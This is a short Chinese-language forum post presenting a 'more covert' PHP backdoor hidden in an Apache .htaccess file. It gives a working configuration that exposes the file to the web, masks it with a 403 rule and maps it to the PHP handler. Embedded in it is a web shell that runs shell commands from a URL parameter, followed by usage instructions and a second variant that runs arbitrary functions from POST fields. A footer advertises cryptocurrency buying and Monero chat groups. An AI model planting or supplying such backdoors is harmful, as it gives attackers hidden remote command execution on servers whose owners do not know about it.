用.htaccess做更隐蔽的后门,另类PHP后门

admin 2020-7-10 1621

用.htaccess做更隐蔽的后门

.htaccess内容如下

#首先允许web访问这个文件

<Files ~ "^\.ht">

Order allow,deny

Allow from all

</Files>

RedirectMatch 403 .htaccess$

#.htaccess结尾的403错误,这里是为了增加隐蔽性

AddType application/x-httpd-php .htaccess

#给.htaccess映射php拓展

### SHELL ### <?php echo "\n";passthru($_GET['c']." 2>&1"); ?>### KINDLE ###

#恶意的php代码

使用方法:http://localhost/.htaccess/?c=dir

例子:

<Files ~ "^\.ht">

    Order allow,deny

    allow from all

</Files>

AddType application/x-httpd-php .htaccess

#<?php $_POST['id']($_POST['image']);?> 


高价收各种币QQ:755801549
XMR门罗币①群:653778554 XMR门罗币②群:1092850452
最新回复 (0)
返回
发新帖